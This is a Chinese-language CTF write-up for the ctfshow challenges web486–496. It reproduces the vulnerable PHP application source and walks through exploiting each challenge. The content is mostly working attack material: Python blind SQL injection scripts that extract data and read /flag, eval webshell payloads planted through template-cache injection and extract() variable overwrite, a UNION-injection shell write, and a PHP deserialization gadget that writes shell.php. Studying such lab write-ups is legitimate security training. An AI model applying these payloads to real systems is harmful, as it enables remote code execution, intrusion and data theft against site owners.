web486

日常扫目录

1

得到关键路径flag.php和恶templates。

查看路由,发现存在action参数,尝试修改,报错,发现是file_get_content函数

目录穿梭即可。

web487

跟上题目一样file_get_content函数。输入../index读取主页代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-03-08 15:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2021-03-08 22:30:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

include('render/render_class.php');
include('render/db_class.php');



$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}

if($action=='check'){
$username=$_GET['username'];
$password=$_GET['password'];
$sql = "select id from user where username = md5('$username') and password=md5('$password') order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
header('location:index.php?action=login');
}
}

if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}

盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

url = "http://e32cb337-affa-4f62-9247-f532ea250e58.challenge.ctf.show/index.php?action=check"

result = ''
i = 0

proxy = {
'http':"http://127.0.0.1:8080"
}

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
# payload = f'if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema="ctfshow")),{i},1))>{mid},1,0)'
# payload = f'if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema="ctfshow")),{i},1))>{mid},1,0)'
payload = f'if(ascii(substr((select(group_concat(flag))from(ctfshow.flag)),{i},1))>{mid},1,0)'
data = {
'username': f"999')||{payload}#",
'password': "123"
}
r = requests.get(url,params=data,proxies=proxy)
if "admin" in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)

得到flag。

web488

一样先读取文件。

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-03-08 15:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2021-03-09 11:59:28
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

include('render/render_class.php');
include('render/db_class.php');



$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}

if($action=='check'){
$username=$_GET['username'];
$password=$_GET['password'];
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
templateUtil::render('error',array('username'=>$username));
}
}

if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}

render/render_class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-03-08 17:52:18
# @Last Modified by: h1xa
# @Last Modified time: 2021-03-08 22:15:24
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

ini_set('display_errors', 'On');
include('file_class.php');
include('cache_class.php');

class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}

}

render/db_class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-03-08 20:43:40
# @Last Modified by: h1xa
# @Last Modified time: 2021-03-08 22:29:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
ini_set('display_errors', 'On');

class db{


public static function getConnection(){
$username='root';
$password='root';
$port='3306';
$addr='127.0.0.1';
$database='ctfshow';
return new mysqli($addr,$username,$password,$database);
}

public static function select_one($sql){
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_object();
}

}
}

render/file_class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-03-08 17:56:41
# @Last Modified by: h1xa
# @Last Modified time: 2021-03-08 21:23:28
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

ini_set('display_errors', 'On');
class fileUtil{

public static function read($filename){
return file_get_contents($filename);
}

public static function write($filename,$content,$append =0){
if($append){
file_put_contents($filename, $content,FILE_APPEND);
}else{
file_put_contents($filename, $content);
}
}
}

render/cache_class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-03-08 20:49:18
# @Last Modified by: h1xa
# @Last Modified time: 2021-03-08 21:40:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
ini_set('display_errors', 'On');

class cache{
public static function create_cache($template,$content){
if(file_exists('cache/'.md5($template).'.php')){
return true;
}else{
fileUtil::write('cache/'.md5($template).'.php',$content);
}
}
public static function get_cache($template){
return fileUtil::read('cache/'.md5($template).'.php');
}
public static function cache_exists($template){
return file_exists('cache/'.md5($template).'.php');
}

}

可以写入文件实现rce,payload:

1
?action=check&username=<?=@eval($_POST[1])?>&password=1

然后访问

1
/cache/cb5e100e5a9a3e7f6d1fd97512215282.php

即可rce。

分析如下:

首先由于数据库中没有<?=@eval($_POST[1])?>触发index.php中的

1
templateUtil::render('error',array('username'=>$username));

进入到render/render_class.php中的templateUtil类的render方法。

由于一开始不存在缓存,进入以下代码:

1
2
3
4
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;

可以用action=../templates/error.php得知存在/templates/error.php.其中内容为:

1
{{username}}

然后调用templateUtil::shade方法

将改为了我们前面输入的用户名<?=@eval($_POST[1])?>

然后再调用cache::create_cache生成缓存文件,cache类如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class cache{
public static function create_cache($template,$content){
if(file_exists('cache/'.md5($template).'.php')){
return true;
}else{
fileUtil::write('cache/'.md5($template).'.php',$content);
}
}
public static function get_cache($template){
return fileUtil::read('cache/'.md5($template).'.php');
}
public static function cache_exists($template){
return file_exists('cache/'.md5($template).'.php');
}

}

由于一开始不存在缓存,所以会往/cache/cb5e100e5a9a3e7f6d1fd97512215282.php写入我们的木马。

其中cb5e100e5a9a3e7f6d1fd97512215282为error的MD5值

然后rce即可。

web489

跟上题一样,先读取文件。
index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-03-08 15:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2021-03-09 14:20:04
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

include('render/render_class.php');
include('render/db_class.php');



$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}

if($action=='check'){
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
extract($_GET);
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
templateUtil::render('error');
}
}

if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}

if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}

render/render_class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-03-08 17:52:18
# @Last Modified by: h1xa
# @Last Modified time: 2021-03-09 12:11:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

include('file_class.php');
include('cache_class.php');

class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}

}

render/file_class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-03-08 17:56:41
# @Last Modified by: h1xa
# @Last Modified time: 2021-03-09 14:08:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
class fileUtil{

public static function read($filename){
return file_get_contents($filename);
}

public static function write($filename,$content,$append =0){
if($append){
file_put_contents($filename, $content,FILE_APPEND);
}else{
file_put_contents($filename, $content);
}
}
}

render/cache_class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-03-08 20:49:18
# @Last Modified by: h1xa
# @Last Modified time: 2021-03-09 12:11:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


class cache{
public static function create_cache($template,$content){
if(file_exists('cache/'.md5($template).'.php')){
return true;
}else{
fileUtil::write('cache/'.md5($template).'.php',$content);
}
}
public static function get_cache($template){
return fileUtil::read('cache/'.md5($template).'.php');
}
public static function cache_exists($template){
return file_exists('cache/'.md5($template).'.php');
}

}

render/db_class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-03-08 20:43:40
# @Last Modified by: h1xa
# @Last Modified time: 2021-03-09 12:11:32
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

class db{


public static function getConnection(){
$username='root';
$password='root';
$port='3306';
$addr='127.0.0.1';
$database='ctfshow';
return new mysqli($addr,$username,$password,$database);
}

public static function select_one($sql){
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_object();
}

}
}

读取/templates/error.php,发现里面没有东西,也就是说上题的漏洞被堵住了。

审计代码,发现存在extract($_GET);这个函数可以存在变量覆盖。

也就是说,我们只需要用GET传参覆盖掉$sql,就可以无需数据库中有‘username’进入到templateUtil::render(‘index’,array(‘username’=>$username));

然后的方法就跟上题一样了

先action=clear清理缓存。然后访问下面的payload即可

payload:

1
https://c70e0db2-f20a-4b25-845e-bad3defa5ff5.challenge.ctf.show/index.php?action=check&sql=select 1&username=<?=@eval($_POST[1]);?>&password=1

然后访问cache/6a992d5529f459a44fee58c733255e86.php即可rce

其中6a992d5529f459a44fee58c733255e86为 md5(‘index’)。

web490

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-03-08 15:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2021-03-09 16:45:24
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

include('render/render_class.php');
include('render/db_class.php');


$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}

if($action=='check'){
extract($_GET);
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$user->username));
}else{
templateUtil::render('error');
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}

if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}

render/render_class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-03-08 17:52:18
# @Last Modified by: h1xa
# @Last Modified time: 2021-03-09 16:19:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

include('file_class.php');
include('cache_class.php');

class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', '<?='.$value.'?>', $templateContent);
}
return $templateContent;
}

}

render/file_class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-03-08 17:56:41
# @Last Modified by: h1xa
# @Last Modified time: 2021-03-09 14:08:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
class fileUtil{

public static function read($filename){
return file_get_contents($filename);
}

public static function write($filename,$content,$append =0){
if($append){
file_put_contents($filename, $content,FILE_APPEND);
}else{
file_put_contents($filename, $content);
}
}
}

render/cache_class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-03-08 20:49:18
# @Last Modified by: h1xa
# @Last Modified time: 2021-03-09 12:11:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


class cache{
public static function create_cache($template,$content){
if(file_exists('cache/'.md5($template).'.php')){
return true;
}else{
fileUtil::write('cache/'.md5($template).'.php',$content);
}
}
public static function get_cache($template){
return fileUtil::read('cache/'.md5($template).'.php');
}
public static function cache_exists($template){
return file_exists('cache/'.md5($template).'.php');
}

}

render/db_class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-03-08 20:43:40
# @Last Modified by: h1xa
# @Last Modified time: 2021-03-09 12:11:32
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

class db{


public static function getConnection(){
$username='root';
$password='root';
$port='3306';
$addr='127.0.0.1';
$database='ctfshow';
return new mysqli($addr,$username,$password,$database);
}

public static function select_one($sql){
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_object();
}

}
}

审计代码,发现对username没有进行md5加密,判断存在sql注入。

先清理缓存。

然后写入木马

payload:

1
https://70d3f381-6877-4554-a259-c1e21632fa40.challenge.ctf.show/index.php?action=check&username=1%27%20union%20select%20%27@eval($_POST[1]);%27--+%20#&password=1

然后访问/cache/6a992d5529f459a44fee58c733255e86.php即可rce

web491

盲注:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests

url = "http://5a9a857a-d464-4d12-acc3-ff9fef3ef743.challenge.ctf.show/index.php"

result = ""
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
payload = "select load_file('/flag')"
params = {
'username': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},1,0)-- + #",
'password': '1',
'action' : 'check'
}

r = requests.get(url,params=params)
#print(r.text)
if "username" in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)


web492

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 15:43:51
Last Modified by: h1xa
Last Modified time: 2021-03-10 12:16:25
email: h1xa@ctfer.com
link: https://ctfer.com

*/

include('render/render_class.php');
include('render/db_class.php');


$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}

if($action=='check'){
extract($_GET);
if(preg_match('/^[A-Za-z0-9]+$/', $username)){
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one_array($sql);
}
if($user){
templateUtil::render('index',$user);
}else{
templateUtil::render('error');
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}

if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}

审计代码,发现可以用extract函数来覆盖$user从而绕过过滤。
payload:

1
https://43674800-2f91-466e-a0f8-b5e5743a222d.challenge.ctf.show/index.php?action=check&user[username]=--%3E%3C?=eval($_POST[1]);?%3E%3C!%20--

web493

反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class dbLog{
public $sql;
public $content ='<?php @eval($_POST[1]);?>';
public $log ="./shell.php";

public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}

$final = new dbLog();
echo 'user='.urlencode(serialize($final));
?>

cookie发送.

然后访问/shell.php即可rce

web494

跟上题一样,rce后使用蚁剑连接。

去数据库找flag,密码为root

然后就可以获得flag。

若是点击执行sql没反应请参考链接:蚁剑连接数据库后,解决执行一直转圈的问题-CSDN博客

web495

同web494

web496